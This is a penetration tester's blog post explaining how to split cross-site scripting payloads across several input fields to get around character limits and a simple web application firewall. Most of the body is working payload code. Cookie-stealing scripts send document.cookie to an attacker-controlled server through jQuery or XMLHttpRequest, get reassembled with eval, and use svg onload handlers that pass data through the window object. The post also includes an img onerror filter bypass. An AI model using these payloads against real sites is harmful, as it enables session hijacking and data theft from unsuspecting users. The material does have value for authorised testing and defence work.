Weaponising Staged Cross-Site Scripting (XSS) Payloads

Sajeeb Lohani
Privasec RED
Published in
4 min readMay 17, 2019

I’m starting a new “Weaponising…” series of blog posts due to my substantial dislike for seeing Proof of Concepts (PoCs) showing a simple “Alert!” box when there is so much more hackery goodness possible. This blog post, aims to go a step further and display how to weaponise staged Cross-Site Scripting (XSS) payloads. This can prove to be quite useful when the target application enforces a character limit and/or a Web Application Firewall (WAF) is in place.

Single Vs. Staged Payload?

A single payload implies that the entire exploit has been sent to the victim in one large chunk as displayed in the diagram below:

A staged payload traditionally sends a stager payload which then downloads additional stages from the attacker’s server, executing them to exploit the target. This process has been displayed in the diagram below:

For the purpose of this article, we will be looking into how to send payloads in different input fields, breaking up the exploit into multiple parts and then finally executing them all, in unison.

This blog post will showcase two scenarios where staged payloads should be used. Firstly, where character limitations are in place, and secondly, where both character limitations and a basic WAF is in place.

Note: this blog post is not focused at bypassing WAFs. There are already a multitude of great resources around the Internet discussing those techniques. This is merely an observation and workaround of some issues I’ve encountered during penetration testing.

Scenario 1: Character Limits in Place

For the purpose of the character limit scenario, we’ll assume the maximum number of characters allowed within a specified field is 50. Since there is no WAF in place, we can simply use <script> tags to inject our JavaScript code.

Let’s assume the target application has ten different parameters that echo a user’s input. We’ll call these ten parameters: a, b, c, d, e , f, g, h, i, and j. These parameters are also echo’d back to the victim’s screen in the same order mentioned above.

For something as simple as an alert box, 25 characters is enough, however for exploits slightly more complicated like covertly stealing cookies, the payload size tends to be much larger.

For example, the payload below (79 characters) will perform a GET request, using the jQuery library, behind the scenes to an attacker controlled server, including the victim’s cookies:

<script>$.get(“https://attacker-controlled-server/?"+document.location)</script>

This same payload can still be used within this restricted system by merely splitting the exploit into smaller parts and concatenating them into one larger variable, as displayed below:

Value of parameter a:

<script>var a = '$.get("https://attacker'</script>

Value of parameter b:

<script>a += 'controlled-server/?"+docu'</script>

Value of parameter c:

<script>a += 'ment.cookie)';eval(a)</script>

How about the times you don’t have jQuery loaded? Firstly, you can load it using <script src=//cdn-url></script>, but you can also use bare bones JavaScript, as displayed below:

Value of parameter a:

<script>var x = new XMLHttpRequest();</script>

Value of parameter b:

<script>var u="attacker?"+document.cookie</script>

Value of parameter c:

<script>x.open("GET","https://"+u,false);</script>

Value of parameter d:

<script>x.send(null);</script>

Scenario 2: Character Limitations and Simple WAF

On a recent web application test, I discovered that the WAF triggered on <script> tags. I was able to bypass this alert using a different XSS payload, namely <img src=x onerror=alert(1)>, triggering the XSS alert box. The web application also had a character limit of 50 characters per field. To circumvent these controls I tried the above-mentioned technique of ‘splitting’ the payload across variables and then concatenating it back into a single variable. I learned that the event handlers did not share local variables between each other!

Thinking about this later, it made sense that each of these event handlers were likely anonymous functions within the JavaScript code and therefore not able to share local variables (outside their scope). Annoyed that I was no longer able to write a simple PoC script, I thought about a way around it until I came up with this solution! What does each anonymous JavaScript function have in common? The “window” global variable!

An example of cookie stealing, using the event handlers, with the presence of jQuery, is given below:

Value of parameter a:

<svg onload="window.x='$.get(\"https://attacker'">

Value of parameter b:

<svg onload="window.x += '/?\"+document.cookie)'">

Value of parameter c:

<svg onload="eval(window.x)">

Remediation

Once again, as stated in Weaponising AngularJS Sandbox Bypasses, always sanitise user input prior to processing it!

Hopefully the next time you run into a set of character limitation fields that are vulnerable to XSS, you can still leverage this concept to demonstrate high impact payloads. Don’t be that “alert(0)” guy, TRY HARDER!

Sajeeb is a Senior Penetration Tester a Privasec in Melbourne, Australia. Sajeeb has disclosed over 120 CVEs and is very fond of security research. When he is not findings bug or exploiting them Sajeeb can be found giving talks and sharing knowledge within the infosec community.

--

--

Sajeeb Lohani
Privasec RED

Sajeeb is a Senior Penetration Tester as Privasec in Melbourne. Sajeeb has disclosed over 120 CVEs and is an active member of the infosec community.